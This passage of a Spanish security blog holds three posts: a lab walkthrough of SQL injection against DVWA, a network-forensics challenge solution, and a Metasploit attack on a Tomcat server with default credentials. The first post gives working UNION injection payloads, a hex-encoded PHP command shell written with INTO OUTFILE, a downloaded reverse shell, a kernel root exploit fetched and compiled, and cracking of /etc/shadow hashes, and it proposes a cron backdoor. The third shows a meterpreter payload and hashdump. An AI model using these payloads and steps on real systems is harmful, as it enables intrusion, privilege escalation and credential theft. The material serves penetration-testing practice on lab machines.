Importante fijarse en que introducimos la comilla, la sentencia order by indicando el número de columna e introducimos los carácteres /*, usados en MySQL para indicar un comentario y así poder cerrar la consulta a nuestro gusto.

Continuamos hasta que encontramos un error que nos indica que la columna número 3 no existe en la consulta:

Ahora sabemos que la consulta usa dos columnas y podemos hacer la consulta con UNION:



Si nos fijamos la aplicación sigue devolviendo los valores de la columna y nosotros queremos que se muestren los nuestros del union, para ello introduciremos un condicional que jamás se cumple, AND 1 = 2:



Ya podemos inyectar la consulta que queramos, empezaremos por ver el usuario que conecta con la base de datos, el nombre de la misma y la versión de MySQL, para ello sustituimos el segundo campo por la consulta concat(user(),0x3a,database(),0x3a,@@version) (concat se usa para concatenar varios campos seguidos y 0x3a es el valor hexadecimal de la coma).


Como vemos el usuario que conecta a la base de datos es root, una mala elección como veremos más alante.

Una vez llegado hasta aquí se puede decidir enumerar las bases de datos usando para ello el "catálogo" de base de datos (base de datos information_schema y sólo para versiones MySQL >= 5) o intentar escribir en ficheros.
Para comprobar si podemos escribir en ficheros necesitamos comprobar el permiso file_priv y podemos hacerlo consultando la base de datos mysql (en caso de tener acceso) o el information_schema (ésta segunda suele ser más comun el que sea accesible).

Cambiamos nuestra inyección de código SQL por lo siguiente:
'+and+1=2+union+all+select+1,file_priv+FROM+mysql.user+WHERE+mysql.user.user+=0x726f6f74/*
Como podemos observar en el condicional de comprobar el usuario hemos usado el valor hexadecimal de root para evitar tener que escribir comillas.



Como podemos observar tenemos permisos para escribir en ficheros.

Ahora intentamos escribir en un fichero con la inyección: 1'+and+1=2+union+all+select+1,2+into+outfile+"/tmp/test.txt"/*


Y como vemos, aparte de haber escrito exitosamente en un fichero, hemos obtenido la ruta de instalación de la aplicación (puede sernos útil en múltiples ocasiones).

Vamos a comprobar el resultado con el comando load_file de MySQL, para ello inyectamos:
1'+and+1=2+union+all+select+1,load_file("/tmp/test.txt")/*


Como vemos, en el fichero se han escrito el 1 y el 2 que inyectamos en la consulta anteriormente. Ahora vamos a inyectar algo más útil, un pequeño código que nos permita ejecutar comandos del sistema operativo, para ello usaremos el siguiente código , quedándose la inyección en:
1'+and+1=2+union+all+select+0x3c3f2073797374656d28245f524551554553545b27636f6d616e646f275d293b203f3e,null+into+outfile+"/var/www/dvwa-1.0.6/dvwa/dvwa/images/rce.php"/* (una vez más usamos hexadecimal). Aquí tengo que decir que a la carpeta images le he dado permisos 777 para que evitar complicar las cosas (además de que es bastante común esos permisos en carpetas del estilo).
Comentar que se ha sustituido la segunda columna por un valor null, eso se traducirá luego en que en la salida de pantalla se mostrará el \N correspondiente al null y comentar también que gracias a que anteriormente el error de SQL nos devolvió la ruta de la aplicación podemos saber donde se encuentra la aplicación (y para encontrar la carpeta images basta con mirar la ruta del logo de la aplicación).

Una vez realizada la inyección la shell está lista para usarse.


Ahora vamos a descargar una shell inversa en php, concretamente la de pentestmonkey.

Pedimos el fichero http://192.168.1.36/dvwa-1.0.6/dvwa/dvwa/images/rce.php?comando=wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz y con ello conseguimos bajar la shell (no está configurada del todo, por lo que lo correcto es subirla a algún lado ya configurada para nosotros y no modificarla por ssh como voy a hacer yo...)

Y ahora para descomprimirla: http://192.168.1.36/dvwa-1.0.6/dvwa/dvwa/images/rce.php?comando=tar%20zxf%20php-reverse-shell-1.0.tar.gz

Antes de ejecutarla debemos dejar un netcat a la escucha para que reciba la shell:
z0mbiehunt3r@d3im0s:~$ nc -l 1234

Ahora vamos a la dirección de la shell:
http://192.168.1.36/dvwa-1.0.6/dvwa/dvwa/images/php-reverse-shell-1.0/php-reverse-shell.php

Y observamos la shell que tenemos en el netcat:



Nos dirigimos al directorio /tmp/:
sh-2.05b$ cd /tmp/

Y ahora toca descargar, compilar y ejecutar el exploit para escalar privilegios a root, para ello usaremos un exploit de hace unos días que afecta a las versiones de Kernel menores a la 2.6.31-rc1, podemos encontrarlo en exploit-db.com


sh-2.05b$ wget http://www.exploit-db.com/download/14814

Y veremos cómo se baja correctamente:



Ahora lo compilamos y ejecutamos:

$ mv index.html exploit.c
$ gcc exploit.c -o exploit


Tras unos segundos comprobamos qué usuario somos:

$ ./exploit
whoami

root

Debido al uso de esta php-shell no veremos la salida del exploit, pero aquí pongo la misma ejecutada por ssh en la misma máquina:


Bingo! Ya somos root en la máquina, ahora sólo quedaría sacar el fichero /etc/shadow, crackear las contraseñas, asegurarnos el acceso al servidor con una backdoor (por ejemplo, de forma rápida podemos poner una tarea cron que ejecute una shell inversa de meterpreter) e intentar usarlo para saltar a otras máquinas de la red...

Voy a poner un pequeño ejemplo de cómo sacar las contraseñas mediante el programa PasswordsPro (está programado para Windows, pero en Wine corre sin problemas):

Primero extraemos el contenido de /etc/passwd y de /etc/shadow:

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
skyn3t:x:1000:1000:skyn3t,,,:/home/skyn3t:/bin/bash
[...]
mysql:x:115:122:MySQL Server,,,:/var/lib/mysql:/bin/false
test:x:1001:1001:,,,:/home/test:/tmp/consola


cat /etc/shadow
root:$6$QqRZ8m6.$VqnCDty5HAuR57OgWv9xIJMu1OYDrOVMRVJsccwyd4gTP1qXoPI3NGgci3FW7rwMUOIqubGCgoXQg2Mt3OU6x0:14568:0:99999:7:::
skyn3t:$6$QqRZ8m6.$VqnCDty5HAuR57OgWv9xIJMu1OYDrOVMRVJsccwyd4gTP1qXoPI3NGgci3FW7rwMUOIqubGCgoXQg2Mt3OU6x0:14568:0:99999:7:::
[...]
mysql:!:14776:0:99999:7:::
test:$6$GQqCpAqL$tqLY1TW2/O5z0hvNNzsOBpk7oNqRg6yUe/OXFxi8SfHQzHPzhZRxkt588BvRoPeaH.Aurz53zVOEY11I.L5s/0:14852:0:99999:7:::

Y ahora ponemos a correr el programa (la versión demo sólo deja un hash a la vez):


Como vemos, el password del usuario skyn3t es t800 (un alarde de originalidad, sí, jeje).

Bueno, hasta aquí esta entrada, saludos a todos.

EDITO: Si queréis leer más acerca de SQL Injection os recomiendo www.exploit-db.com, ahí tenéis muy buena información de todo...

jueves, 2 de septiembre de 2010

Meling Mudin and CS Lee - Art of Network Forensics challenge

En la conferencia HITB (Hack In The Box) del 2009 celebrada en Koala Lumpur los ponentes Meling Mudin y CS Lee presentaron una charla titulada Art of Network Forensic acerca de análisis forense de redes además de publicar un pequeño reto para practicar.

Vamos a ver la resolución del mismo que escribí hace un tiempo, pero antes de nada, aquí os dejo los enlaces:
Presentación: http://conference.hackinthebox.org/hitbsecconf2009kl/materials/D1T1%20-%20Meling%20Mudin%20and%20CS%20Lee%20-%20Art%20of%20Network%20Forensics.zip
Para bajar los torrent con los vídeos de la conferencia: http://video.hackinthebox.org/


RESOLUCIÓN DEL RETO

Primero leemos el enunciado para entender bien lo que hace falta buscar.

Scenario:


name: Chris Michael Long

company email: cmlong@micros.com

Job: Interior Designer


Chris is the interior designer of Company MicroShort(MS), and he is suspected to sell Company design work to another competitor in the industry. The company has enforced the policy where no one can bring in/out USB thumb drive of the Company building.

When Chris's computer is seized, there's no any stolen works found in his hard drive but a piece of software called Eraser, so it is suspected that Chris may erase the files with Eraser to prevent file system forensics, the Company MS has no convincing evident to proof Chris's guilty.

Fortunately, the company has deployed network monitoring system to collect network traffic and they are employing you as Network Forensics Investigator to figure out what Chris has done, extract network-based evident and to answer the following question, you are handed over the network data -


Network-Based Evidence

Case1-IDesign.pcap

MD5 (Case1-IDesign.pcap) = bf9fa16efde670eeb4dff207de663aae


Questions:


What is the IP address of Chris' machine?

What is Chris' non-legitimate email address?

What is the method used to communicate to outsider?

Whom Chris has communicated with?

What is the email address of the outsider?

What is the conversation about between Chris and the outsider?

What is the method used to transfer the file?

What is the name of the transferred file?

When was the file is transferred?

How many file was been transferred?

What is the file type?





EMPEZANDO


Empezamos estudiando las conversaciones TCP para ver los hosts involucrados:


Como podemos observar prácticamente todas las sesiones involucran a una IP con direccionamiento interno, 192.168.229.185.

Vamos a comprobar quién inicia por norma general las sesiones, para ello filtramos los paquetes TCP que tengan sólo el bit de la flag SYN establecido en 1:

skyn3t@skyn3t-desktop: tshark -r captura.pcap -R “tcp.flags==0x02”
10 16.620779 192.168.229.185 -> 69.147.114.224 TCP 1053 > 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460
30 24.362968 192.168.229.185 -> 209.131.36.158 TCP 1054 > 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460
[...]
919 70.072442 192.168.229.185 -> 58.27.186.104 TCP 1072 > 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460
942 95.622633 192.168.229.185 -> 64.4.50.62 TCP 1073 > 1863 [SYN] Seq=0 Win=65535 Len=0 MSS=1460
[...]
84084 1003.498715 192.168.229.185 -> 58.27.186.115 TCP 1308 > 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460
84085 1003.504627 192.168.229.185 -> 58.27.186.115 TCP 1309 > 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460


Como podemos observar todas las sesiones se inician desde dicha IP interna, por lo que todo parece indicar que es la IP de Chris.


ESTADÍSTICAS DEL TRÁFICO

Primero conviene saber las estadísticas de tráfico por protocolo para tener una idea general de cómo ha podido enviar el fichero, para ello hacemos:

skyn3t@skyn3t-desktop: tshark -r Case1-IDesign.pcap -qz io,phs


Como podemos observar casi todo el tráfico es HTTP y, además, encontramos mensajería
instantánea (msnms).


ANÁLISIS DE TRÁFICO MSN

Para analizar la conversación de MSN usaremos wireshark, establecemos el filtro a msnms y
observamos la información:


La dirección de correo electrónico que primero aparece es cmlong@gmx.com, además lo hace
como un comando USR del protocolo MSN, utilizado para identificarse, además no es complicado imaginarse que cmlong corresponde a Chris Michael Long.
Observando el tráfico MSNMS en Wireshark vemos otra dirección de correo junto a un comando CAL, usado para invitar a otro usuario a una conversación, por lo que sabemos que Chris se comunicó con vanruni@aol.com


La conversación de msn corresponde a la sesión TCP número 25, por lo que podemos filtrar en
Wireshark con el filtro “tcp.stream eq 25”.

A continuación pongo la conversación (he eliminado comandos por motivos de claridad):

USR 1 cmlong@gmx.com 1997835112.141167137.148230153
hi there
yes
TypingUser: vanruni@aol.com
things ready?
TypingUser: cmlong@gmx.com
oky donky
TypingUser: cmlong@gmx.com
you got the pass
TypingUser: vanruni@aol.com
tip me
TypingUser: cmlong@gmx.com
here's the key
TypingUser: vanruni@aol.com
oh yeah, i forgot to take my door key this morning
TypingUser: vanruni@aol.com
so pass me the key
TypingUser: cmlong@gmx.com
alibaba says hitb56783
TypingUser: vanruni@aol.com
righty, I'm out now. To catch the train!
BYE vanruni@aol.com

Ahí tenemos un gran candidato para ser usado como clave para descomprimir el ZIP.


ANÁLISIS CONSULTAS DNS

Aparte del método anterior de comunicarse mediante MSN debemos comprobar también el tráficoHTTP para buscar una posible fuga de información.

Lo primero es comprobar las peticiones DNS para ver las páginas que se han querido visitar, aunque podrían haberse visitado páginas sin consulta DNS asociada en el caso de que existiese en el fichero hosts o estuviese ya cacheada en memoria.

Extraemos las consultas DNS eliminando las repetidas:

skyn3t@skyn3t-desktop: tshark -r Case1-IDesign.pcap -T fields -e "dns.qry.name" -R "dns.flags == 0x0100"|sort|uniq



Después de comprobar en Wireshark el tráfico HTTP y descartar algunos hosts remotos, como
pueda ser mscom.na-test.llnwd.net (para activar la resolución de red activamos el tick de “View – Name Resolution – Enable for Network Layer” y hacemos click en “View – Reload” o pulsamos Control+R para que recargue el pcap realizando la resolución de dominios.), vemos fácilmente que el dominio gmx.net tiene mucho tráfico.
Si comprobamos qué hay en dicho dominio veremos que es un servicio de email por web.




ANÁLISIS DE TRÁFICO DE GMX.COM

También debemos analizar los correos enviados, por lo que comprobaremos las peticiones POST de HTTP con el filtro http.request.method == "POST" en Wireshark.
Después de estudiar unos segundos la ruta de las peticiones nos damos cuenta de algunos
“comandos” interesantes:


Encontramos un comando mail/create en las sesiones 100 y 108, un comando attachment/upload en la sesión 105 y un comando mail/store mail/send en la sesión 109.
Ahora nos centramos en seguir la sesión 108 y que el contenido del mensaje es (modificado por
motivos de claridad):

"from":"\"chris long\" "
"to":["vanruni@aol.com"]
hi van
There you go, say hi to your mama ;)

También encontramos en la sesión 88 la petición POST para realizar el login, si analizamos el
contenido de la misma rápidamente vemos información que puede resultar importante:

POST /;jsessionid=A89FF5482FD2492DFE9C77825BE5A4D7.www-eu008?
wicket:interface=:0:PanelHead:PanelLogin:ContainerLoginForm:FormLogin:ButtonLogin::IActive
PageBehaviorListener:0:&wicket:ignoreIfNotActive=true&random=0.8111100408479592
HTTP/1.1
Host: gmx.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725
Firefox/2.0.0.6
[...]
idc_hf_0=&TextfieldEmail=cmlong
%40gmx.com&TextfieldPassword=hitb1234&RadioLoginType=BROWSER&ButtonLogin=1HTT
P/1.1 200 OK


ANÁLISIS DEL ADJUNTO (I) - EXTRACCIÓN

Si seguimos la sesión 105 y vemos el upload encontraremos lo siguiente:

Content-Disposition: form-data; name="file"; filename="haha.zip"
Content-Type: application/octet-stream

PK..
.....4G7;................haha/UT....r.J.s.JUx......jF[F....#p.EPK..............PK.........D7;#
*.....z.......haha/interior-image.docUT....m.J.r.JUx......Y.m...rt'........0.-......
%......n|..A.."0F.3I^.....0..'....X...'..r).M....X..f....OZx2..P.0..6.1...N7...o.y.."...m.
[…]
..........A....haha/UT....r.JUx..PK...........D7;#
*.....z.....
...........T...haha/interior-image.docUT....m.JUx..PK...........D7;.....r..:r....
...............haha/loft-interior-02.docUT....m.JUx..PK...........D7;..a.........!.
............M..haha/urban_interior_design_x1.docUT....m.JUx..PK...........D7;. ..........!.
...........m...haha/urban_interior_design_x3.docUT....m.JUx..PK....................


Observamos que la cabecera del fichero es PK, correspondiente a ficheros ZIP; también observamos que el nombre del fichero es haha.zip y que contiene cuatro ficheros con extensión .doc (recordemos que aunque un fichero tenga una extensión puede ser otro tipo totalmente diferente, como veremos más adelante).

Para extraer los ficheros que se encuentran dentro de un pcap tenemos distintos métodos, lo más fácil suele ser abrirlo con NetworkMiner y él solo se encargará de extraer todo tipo de información de la sesión.



Entre la información que se nos muestra encontramos las direcciones IPs involucradas, que se ha
usado el protocolo HTTPPostMimeFileData (lo que nos indica que es un fichero subido desde el
ordenador de Chris) y el timestamp o fecha.
Tenemos otras opciones (aunque NetworkMiner es el único que lo extrajo bien cuando lo hice) para extraer los ficheros contenidos en el pcap, como, por ejemplo, foremost, chaosreader, tcpxtract, xplico, etc.


ANÁLISIS DEL ADJUNTO (II) - CABECERA

Si editamos el fichero haha.zip con un editor hexadecimal podemos observar que tiene el número mágico 50 4B 03 04, correspondiente con los ficheros ZIP:


ANÁLISIS DEL ADJUNTO (III) - CONTRASEÑA

Cuando intentemos descomprimir el fichero veremos que tiene contraseña, en éste caso tenemos la contraseña en la conversación mantenida entre Chris y su contacto en el exterior: “hitb5678”.

En caso de no disponer de la contraseña no nos quedaría más remedio que intentar sacarla mediante un ataque de fuerza bruta, diccionario, máscara (en caso de saber parte de la contraseña o el patrón usado normalmente para crear contraseñas) o ataque por fuerza
bruta mediante GPU (dependiendo del tipo de hash o cifrado puede no resultar óptimo o posible).

Voy a poner un ejemplo para sacar el pass con el programa fcrackzip:
skyn3t@skyn3t-desktop: fcrackzip -c aA1 haha.zip -v -u
found file 'haha/', (size cp/uc 12/ 0, flags 9, chk 4734)
found file 'haha/interior-image.doc', (size cp/uc 55811/ 56442, flags 9, chk 44bc)
found file 'haha/loft-interior-02.doc', (size cp/uc 29188/ 29242, flags 9, chk 44c3)
found file 'haha/urban_interior_design_x1.doc', (size cp/uc 107000/107290, flags 9, chk 44c7)
found file 'haha/urban_interior_design_x3.doc', (size cp/uc 106456/106934, flags 9, chk 44cb)
checking pw hitb2k3l
PASSWORD FOUND!!!!: pw == hitb5678


ANÁLISIS DEL CONTENIDO (IV) - CONTENIDO

Una vez se haya descomprimido el fichero haha.zip veremos que se extraen cuatro ficheros con
extensión .doc:
interior-image.doc
loft-interior-02.doc
urban_interior_design_x1.doc
urban_interior_design_x3.doc

Si comprobamos los primeros bytes, el número mágico (en Linux dispondremos del fichero usado internamente para buscar números mágicos en: /usr/share/misc/magic), de los ficheros veremos que son del tipo JPEG/JFIF: FF D8 FF E0 xx xx 4A 46 49 46 00.


Bastará con cambiarles la extensión a jpg o abrirlos directamente desde un programa que acepte dicho formato para poder visualizarlos.


PREGUNTAS Y RESPUESTAS

What is the IP address of Chris' machine?
Tal y como vimos al principio del documento la IP del ordenador de Chris es 192.168.229.185.

What is Chris' non-legitimate email address?
Tal y como podemos sacar de la convesación de MSN y del acceso a gmx la dirección no legítima de Chris es cmlong@gmx.com

What is the method used to communicate to outsider?
Chris usó mensajería instantánea, MSN, y el portal web gmx.

Whom Chris has communicated with?
Por la conversación que mantienen se puede entender que son compañeros de piso o similar (Van se ha olvidado la llave). También queda patente la cercanía con el comentario que hace Chris en el mail a Van “There you go, say hi to your mama ;)”

What is the email address of the outsider?
Tal y como se observa en en la conversación de msn y en el mail enviado mediante gmx la
dirección de Van es vanruni@aol.com

What is the conversation about between Chris and the outsider?
Chris le pide la contraseña a Van para ponérsela en el zip, no está implícito, pero la conversación por MSN tiene lugar antes de que se envíe el fichero, por lo que sabemos que Van le está indicando a Chris la contraseña a utilizar.

What is the method used to transfer the file?
Chris envió el fichero como adjunto en un mail enviado a través de la página web de gmx.com.

What is the name of the transferred file?
Tal y como pudimos ver anteriormente el nombre del fichero enviado es “haha.zip”.

When was the file is transferred?
Podemos comprobar la hora a la que se envió el fichero comproband la respuesta HTTP del servidor a las peticiones POST de subida de fichero y de envío de mail:

Subida de fichero (tcp.stream eq 125)
HTTP/1.1 200 OK
Date: Wed, 23 Sep 2009 01:45:21 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Length: 238
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=200
Connection: Keep-Alive

Envío de correo (tcp.stream eq 109)
HTTP/1.1 200 OK
Date: Wed, 23 Sep 2009 01:46:11 GMT
Server: Apache-Coyote/1.1
Content-Type: application/json;charset=UTF-8
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 99
Keep-Alive: timeout=15, max=200
Connection: Keep-Alive

How many file was been transferred?
Se ha enviado un único fichero .zip que contenía cuatro ficheros de extensión .jpg con la extensión renombrada a .doc.

What is the file type?
Como vimos analizando el número mágico se trata de un fichero ZIP.

Espero que os haya gustado y lo encontréis útil.

Saludos a todos

martes, 31 de agosto de 2010

Metasploit y credenciales comunes


Es común utilizar contraseñas comunes o por defecto en entornos de desarrollo y no preocuparse de dichos equipos ya que "no son equipos críticos" (pero un atacante podría acceder primero a un equipo final de usuario mediante un exploit para Adobe Reader y luego expandirse por la red).

Realizando una auditoría descubrí un equipo de desarrollo que tenía, entre otras cosas, un Tomcat con credenciales fácilmente adivinables.

Lo primero es cargar metasploit y buscar qué módulos y exploits tiene para tomcat:


Lo cargamos: 

msf > use auxiliary/scanner/http/tomcat_mgr_login

Si queremos leer acerca del módulo o exploit usaremos el comando info.

Procedemos a configurar las opciones (en caso de que queramos revisarlas usamos show options):

Configuramos el módulo para que pare en cuanto consiga una credencial válida y le indicamos el host:

Ya sólo queda lanzarlo y esperar:



Como vemos hemos encontrado un usuario válido, admin/admin, vamos a usarlo para subir una shell en Java...

msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy

Y configuramos las opciones necesarias, incluído el payload a ejecutar:

msf exploit(tomcat_mgr_deploy) > set PASSWORD admin
PASSWORD => admin
msf exploit(tomcat_mgr_deploy) > set USERNAME admin
USERNAME => admin
msf exploit(tomcat_mgr_deploy) > set RHOST 10.1.100.89
RHOST => 10.1.100.89
msf exploit(tomcat_mgr_deploy) > set RPORT 8080
RPORT => 8080
msf exploit(tomcat_mgr_deploy) > set PAYLOAD windows/meterpreter/bind_tcp

Lanzamos el exploit y esperamos:


Ya tenemos la shell, ahora podemos hacer lo que se nos ocurra, en éste caso vamos a migrarnos a un proceso y obtener los hashes locales.

Usamos el comando ps para listar los procesos:

Seleccionamos uno que corra como NT AUTHORITY/SYSTEM y nos inyectamos en él con el comando migrate pid.

Una vez migrados extraemos los hashes con el comando hashdump:


meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY d19421987198b4ae5be0af480fbd8f...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...


Administrador:500:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Invitado:501:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Asistente de ayuda:1000:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
SUPPORT_388945a0:1002:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
usuario:1003:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
SophosSAUDPC12:1009:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
IUSR_PC12:1010:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
IWAM_PC12:1011:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
ASPNET:1012:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Otros

Otros usos que se le puede dar al meterpreter:

  • Subir un metasploit para ejecutarlo desde red interna
  • Sniffar en cualquier interfaz
  • Realizar enumeracion de usuarios
  • Crear un túnel con el que pivotar a la red interna
  • Keylogger
  • Y un largo etcétera

Para practicar con los módulos de Tomcat podemos usar la imágen virtual Metasploitable, además de tener un Tomcat como servicio dispone de unos cuantos servicios más para practicar con Metasploit.

Saludos y espero que os haya resultado interesante.

PD: Siento que las imágenes no sean todas del mismo tipo, pero algunas de las capturas he tenido que reproducirlas de nuevo...